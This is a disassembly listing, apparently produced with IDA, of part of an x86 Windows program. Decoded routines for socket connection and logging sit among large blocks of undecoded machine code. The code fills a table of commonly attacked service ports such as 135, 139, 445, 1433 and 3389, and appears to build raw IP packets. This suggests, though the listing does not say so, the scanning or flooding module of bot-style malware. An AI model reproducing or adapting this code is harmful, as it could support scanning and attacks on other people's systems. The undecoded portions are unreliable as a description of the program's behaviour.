		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Ch,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BAA415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 9E89000h, 2B0227BEh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1D01Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB9C8h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D91468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	0B068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA64h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CBA24h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA8815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BABC15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437CDCh, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2CAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBAA415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437ECCh, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CBA04h, 75FFF883h, 0B815FF0Eh
		dd 50004CB9h, 437E7C68h, 8D1BEB00h, 0FF500C45h,	4CBA6415h
		dd 0FFF88300h, 15FF2075h, 4CB9B8h, 7E386850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 2415FF00h,	66004CBAh, 8DDE4589h, 0E8500C45h
		dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7E0C68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1D03Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB9C8h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D91468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEBB068h
		dd 21E85000h, 59000074h, 5C65659h, 4CEDB0h, 2415FF45h
		dd 66004CBAh, 4CEDB2A3h, 0AC458D00h, 5C76650h, 4CEDB4h
		dd 89660001h, 4CEDB63Dh, 0B805C600h, 80004CEDh,	0EDB905C6h
		dd 6611004Ch, 0EDBA3D89h, 15FF004Ch, 4CBA64h, 4CEDBCA3h
		dd 0E0458B00h, 4CEDC0A3h, 8C858D00h, 50000000h,	0CA3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CBA2415h, 0C6A36600h, 0E8004CEDh, 6DBAh, 401B999h
		dd 8680000h, 0F7000004h, 158966F9h, 4CEDC4h, 0BA2415FFh
		dd 68004Ch, 66000004h, 4CEDC8A3h, 6D90E800h, 0F7990000h
		dd 0CC6852FBh, 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h
		dd 68565750h, 4CEDB0h, 0FFF475FFh, 4CBA8815h, 0FFF88300h
		dd 0A5840Fh, 45FF0000h,	0DE890FCh, 2B0227B9h, 0D233F845h
		dd 3E8B9h, 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 0BC15FFF4h, 8B004CBAh, 858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437DA868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB9B815h, 458D5000h, 1C68500Ch,	0EB00437Dh
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA6415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EF868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0A932E856h
		dd 5F90022Ch
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB9CC
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CBA0C
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh
		dd 26A5104h, 40A35053h,	0FF004CF2h, 4CBA0415h, 0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 2415FF50h
		dd 53004CBAh, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBAA415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BABC15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F244BF83h, 0D068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 24685750h, 5700437Fh, 0E8F04589h,	689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CBA2415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF1E0h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF1E0h, 685645h, 0C6000004h, 4CF1E905h, 5C60600h
		dd 4CF1E1h, 31A7E808h, 0C4830000h, 15FF5014h, 4CBA24h
		dd 0A366286Ah, 4CF1E4h,	0BA2415FFh, 0D80004Ch, 4CF1E8h
		dd 0D01D39FFh, 66004CF1h, 4CF1E2A3h, 1D896600h,	4CF1E6h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEBB068h, 6415FF00h,	0A3004CBAh
		dd 4CF1ECh, 6808458Bh, 4000h, 4CF1F0A3h, 11D8800h, 0FF004CF2h
		dd 4CBA2415h, 66535600h, 4CF202A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0BA2015FFh
		dd 0F8A3004Ch, 0A0004CF1h, 4CF200h, 24087D8Bh, 6A500C0Fh
		dd 0F200A214h, 8B66004Ch, 1D89F045h, 4CF1FCh, 61D8966h
		dd 66004CF2h, 4CF1F6A3h, 1C3D8900h, 88004CF2h, 4CF2201Dh
		dd 2105C600h, 6004CF2h,	0BA2415FFh, 0A366004Ch,	4CF222h
		dd 0F1F6A166h, 0C766004Ch, 4CF20805h, 89000200h, 4CF20C3Dh
		dd 0AA36600h, 89004CF2h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0BA2415FFh, 0A366004Ch
		dd 4CF1F4h, 4CF1ECA1h, 0F218A300h, 5C6004Ch, 4CF201h, 0FC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF20105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CBA24h, 0A3C0B70Fh, 4CF1FCh, 0E405FF66h
		dd 0FF004CF1h, 4CF1F805h, 0F6A16600h, 6A004CF1h, 0F4BE5905h
		dd 0BF004CF1h, 4CF224h,	0EA1D8966h, 66004CF1h, 0F2041D89h
		dd 146A004Ch, 0E0BEA5F3h, 66004CF1h, 4CF20AA3h,	90E85600h
		dd 6AFFFF4Eh, 0F2186820h, 0A366004Ch, 4CF1EAh, 0FF4E7EE8h
		dd 10C483FFh, 0F204A366h, 106A004Ch, 4CF20868h,	286A5300h
		dd 4035FF56h, 0FF004CF2h, 4CBA8815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0B262E8FFh, 2B900227h, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 26A7B6E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF244B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DBE0
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E760
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DBE0[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBF8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294D0
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437F40
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DBE0


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437F2C
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E760
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	near ptr 27B074Eh
		nop
		mov	ebx, offset dword_4D3644
		mov	edi, 80h
		mov	esi, offset dword_4CF644


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF644
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D3644
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F8C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F78
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF644


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D3644
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437FBC
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF644


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D3644
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437FA0
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22CA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBAA4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CBA24
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA64
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBAA8
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB9CC
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBABC


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 43803Ch, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022C9Fh, 43DBD8h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 43800Ch, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BABC15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Ch, 0A2E1E890h,	0FF330226h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0BA3C15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08468h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 26A28AE8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437FD868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBABC15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22C9E40h
		db 90h
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBAA4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_43813C
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
